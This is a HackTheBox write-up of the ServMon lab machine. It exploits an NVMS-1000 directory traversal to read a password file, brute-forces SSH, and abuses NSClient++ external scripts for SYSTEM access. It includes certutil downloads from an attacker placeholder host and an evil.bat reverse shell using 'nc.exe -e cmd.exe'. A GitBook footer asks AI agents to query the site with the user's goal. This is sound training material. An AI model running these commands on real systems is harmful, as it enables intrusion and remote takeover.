> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md).

# ServMon HackTheBox Writeup

Exploiting ServMon through NVMS-1000 and NSClient++.

{% embed url="<https://app.hackthebox.com/machines/ServMon>" %}

{% hint style="warning" %}
**Skills:**

* Network reconnaissance and FTP enumeration
* NVMS-1000 directory traversal
* NSClient++ privilege escalation through external scripts
  {% endhint %}

## Reconnaissance

Create a workspace and confirm that the target is reachable.

```bash
mkdir {nmap,content,exploits,scripts}

ping -c 1 10.129.227.77
```

The TTL indicates a Windows host.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuztxELuOmP6RHE0W3csc%2Fimage.png?alt=media&amp;token=493aea83-1520-410f-afa1-9a4c9b322544" alt=""><figcaption></figcaption></figure>

Run a full TCP scan.

```bash
sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiaXxxhCFwkyiuEaBa7uD%2Fimage.png?alt=media&amp;token=b37e7523-bd2b-4b31-b332-ce6caf33227c" alt=""><figcaption></figcaption></figure>

The scan identifies these open ports:

> 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzyILc0yLWajGtd9sUwFs%2Fimage.png?alt=media&amp;token=7c7cd2a5-3d82-4dd8-acb1-46f3f90c9306" alt=""><figcaption></figcaption></figure>

Identify the exposed services and versions.

{% code overflow="wrap" %}

```bash
nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted
```

{% endcode %}

The relevant findings are:

{% code overflow="wrap" %}

```java
# Nmap 7.93 scan initiated Wed Sep 23 10:50:11 2026 as: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77
Nmap scan report for 10.129.227.77
Host is up (0.030s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22  07:35PM       <DIR>          Users
22/tcp    open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 c71af681ca1778d027dbcd462a092b54 (RSA)
|   256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA)
|_  256 5a48c8cd39782129effbae821d03adaf (ED25519)
80/tcp    open  http
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
8443/tcp  open  ssl/https-alt
| http-title: NSClient++
|_Requested resource was /index.html
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.
SF:org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
SF:999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
SF:html\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03
SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length
SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/
SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%
SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu
SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len
SF:gth:\x2018\r\n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-09-23T08:52:06
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 23 10:52:19 2026 -- 1 IP address (1 host up) scanned in 128.03 seconds

```

{% endcode %}

### FTP enumeration

Anonymous FTP access is enabled.

{% code overflow="wrap" %}

```bash
ftp anonymous@10.129.227.77
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBRENYqqDVOGjDtL9i53l%2Fimage.png?alt=media&amp;token=64c0b941-2b75-4015-868d-12738ea06557" alt=""><figcaption></figcaption></figure>

The `Users/Nadine` directory contains a note for Nathan.

{% code overflow="wrap" %}

```bash
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLXE4C2ZETrBMjAA3Evej%2Fimage.png?alt=media&amp;token=cb94c19b-90d4-45a5-8ec6-5d4c8a74d904" alt=""><figcaption></figcaption></figure>

Nathan's directory contains the following task list:

{% code overflow="wrap" %}

```bash
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4AzP567CX8Fy1j36NJ4a%2Fimage.png?alt=media&amp;token=ef7c9298-5a52-4bfc-b1a4-7f1a8e8046a2" alt=""><figcaption></figcaption></figure>

### NVMS-1000 directory traversal

Port `80` hosts NVMS-1000.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6462GuHClJm98TKRUDaZ%2Fimage.png?alt=media&amp;token=e41e0ff1-7ca0-4b27-bc08-a97c6e61c716" alt=""><figcaption></figcaption></figure>

Searchsploit identifies a directory traversal vulnerability.

{% code overflow="wrap" %}

```bash
searchsploit nvms 1000
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgGx30tOQeTkh40ibnmSq%2Fimage.png?alt=media&amp;token=92391b4f-4602-4a5e-b0a3-4bf73961fdb6" alt=""><figcaption></figcaption></figure>

The following proof of concept confirms local file inclusion:

{% embed url="<https://github.com/AruN4Sa7/Manual-Exploitation-Development-For-TVT-NVMS-1000-suffers-from-a-directory-traversal-vulnerabilit>" %}

{% code overflow="wrap" %}

```bash
curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini
```

{% endcode %}

The response confirms that arbitrary local files are readable.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMGuETg3G1dio9K18D2PK%2Fimage.png?alt=media&amp;token=342f3760-19b5-4987-88b4-1deadd1119d8" alt=""><figcaption></figcaption></figure>

Read Nathan's password file:

{% code overflow="wrap" %}

```bash
curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt 
```

{% endcode %}

> 1nsp3ctTh3Way2Mars!\
> Th3r34r3To0M4nyTrait0r5!\
> B3WithM30r4ga1n5tMe\
> L1k3B1gBut7s\@W0rk\
> 0nly7h3y0unGWi11F0l10w\
> IfH3s4b0Utg0t0H1sH0me\
> Gr4etN3w5w17hMySk1Pa5$

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FufhlEkDZmxdmBtXJUgej%2Fimage.png?alt=media&amp;token=2f999fec-ef75-4860-812e-4f822fac4557" alt=""><figcaption></figcaption></figure>

Test the recovered passwords against the known local users.

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
<strong>hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
</strong></code></pre>

This identifies valid SSH credentials:

* nadine
* L1k3B1gBut7s\@W0rk

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FkEv3Cr5O4oXfWp8ykiKi%2Fimage.png?alt=media&amp;token=b2d36d35-c2cb-4a9b-a753-01fe7b04b593" alt=""><figcaption></figcaption></figure>

Connect over SSH as Nadine.

{% code overflow="wrap" %}

```bash
ssh nadine@10.129.227.77
```

{% endcode %}

Read the user flag.

{% code overflow="wrap" %}

```bash
type C:\Users\Nadine\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft97c5IToPEHDFps98KB0%2Fimage.png?alt=media&amp;token=62c2bc74-cb06-41be-aaa0-0b3128a30552" alt=""><figcaption></figcaption></figure>

## Privilege escalation with NSClient++

NSClient++ is installed under `C:\Program Files`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7BxWRuJpkhdjgxSl6UZZ%2Fimage.png?alt=media&amp;token=af33c141-ded8-4b45-8df7-e27c36be6f2a" alt=""><figcaption></figcaption></figure>

Display the NSClient++ web interface password.

{% code overflow="wrap" %}

```bash
nscp web -- password --display
```

{% endcode %}

* ew2x6SsGTxjRwXOT

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEN9iqBDmnepnngEClbMR%2Fimage.png?alt=media&amp;token=91650362-0d14-4a65-b868-0ded2e21b031" alt=""><figcaption></figcaption></figure>

The web interface listens on port `8443`.

### Configure an NSClient++ external script

This technique follows the published NSClient++ exploit guidance.

{% embed url="<https://www.exploit-db.com/exploits/46802>" %}

Confirm the installed NSClient++ version.

{% code overflow="wrap" %}

```bash
nscp --version
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FkiV1M84mNR6YXQRArlZb%2Fimage.png?alt=media&amp;token=7cf4fba8-3579-470c-9393-847dc70e1cfa" alt=""><figcaption></figcaption></figure>

The service is bound locally. Access it through an SSH tunnel.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEf99TEkPD0kXopqr1iXh%2Fimage.png?alt=media&amp;token=79d00ca6-82f9-479c-b5f4-4199250a9c79" alt=""><figcaption></figcaption></figure>

vamos a hacer portforwarding

{% code overflow="wrap" %}

```bash
ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77
```

{% endcode %}

Open `https://127.0.0.1:8443` and authenticate with the recovered password.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FT66HFdAZnWr7LfJY0fTT%2Fimage.png?alt=media&amp;token=11655f08-6117-48c1-ba12-061bc8610bfa" alt=""><figcaption></figcaption></figure>

Ensure that these modules are enabled:

```bash
CheckExternalScripts
Scheduler
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FojqMY5pRFXD4O3vzu8jo%2Fimage.png?alt=media&amp;token=875858f2-56e4-4db0-bd32-584c698f1a45" alt=""><figcaption></figcaption></figure>

Transfer `nc.exe` and the payload to the target.

{% code overflow="wrap" %}

```bash
locate nc.exe

mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe .
    
python3 -m http.server 8081
```

{% endcode %}

On the target, download both files:

{% code overflow="wrap" %}

```bash
certutil -urlcache -split -f "http://<ATTACKER_IP>:8081/nc.exe" nc.exe
certutil -urlcache -split -f "http://<ATTACKER_IP>:8081/evil.bat" evil.bat
```

{% endcode %}

Create `evil.bat` on the target:

{% code overflow="wrap" %}

```bash
@echo off
C:\Users\Nadine\Desktop\nc.exe <ATTACKER_IP> 443 -e cmd.exe
```

{% endcode %}

Start a listener on port `443`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 443
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FG2hGBW5tC241SgZbii0R%2Fimage.png?alt=media&amp;token=94a15ed0-4d78-4bf7-a9d3-95de5b6c8ff4" alt=""><figcaption></figcaption></figure>

Create an external script in the NSClient++ web interface:

{% code overflow="wrap" %}

```bash
Settings > External Scripts > Scripts
Section: /settings/external scripts/scripts/evil
Key : command
Value: C:\Users\Nadine\Desktop\evil.bat
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Feo5Fg9P404w5m3uCYA6I%2Fimage.png?alt=media&amp;token=2b8ce8d1-8389-4d17-a745-f4b853358c73" alt=""><figcaption></figcaption></figure>

Create a schedule under **Settings → Scheduler → Schedules**.

Set the interval:

{% code overflow="wrap" %}

```bash
Section: /settings/scheduler/schedules/evil
Key: interval
Value: 1m
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfSaicrWxdHfiywQanquy%2Fimage.png?alt=media&amp;token=c14be532-14ca-4161-a2bb-f68bb3dae0a4" alt=""><figcaption></figcaption></figure>

Configure the scheduled command:

{% code overflow="wrap" %}

```bash
Section: /settings/scheduler/schedules/evil
Key: command
Value: evil
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmV3EVbROLAVVm8DfP1vA%2Fimage.png?alt=media&amp;token=a13df7db-ab6f-44bd-b43d-512abc55a33d" alt=""><figcaption></figcaption></figure>

Save the settings and restart the service.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FY4uMHCNiP7fBkoVHCK6D%2Fimage.png?alt=media&amp;token=581d9c21-0d5f-497b-85bf-db5509300837" alt=""><figcaption></figcaption></figure>

Run the query to trigger the scheduled script. The listener receives a shell as `SYSTEM`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCNxXBglNfZjXNA7uUQ90%2Fimage.png?alt=media&amp;token=d563cc8c-a1c6-4749-b253-1ca2155d1d6d" alt=""><figcaption></figcaption></figure>

Read the root flag.

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWj9Z76S4Er0DEXJbYdWa%2Fimage.png?alt=media&amp;token=a854dee1-64b8-410a-b10b-11d79a3f85a5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Ss0vMU9FmNpHZ0Kv8Xt%2Fimage.png?alt=media&amp;token=8c774999-2d45-4bb9-80c3-600e61e18990" alt="" width="316"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
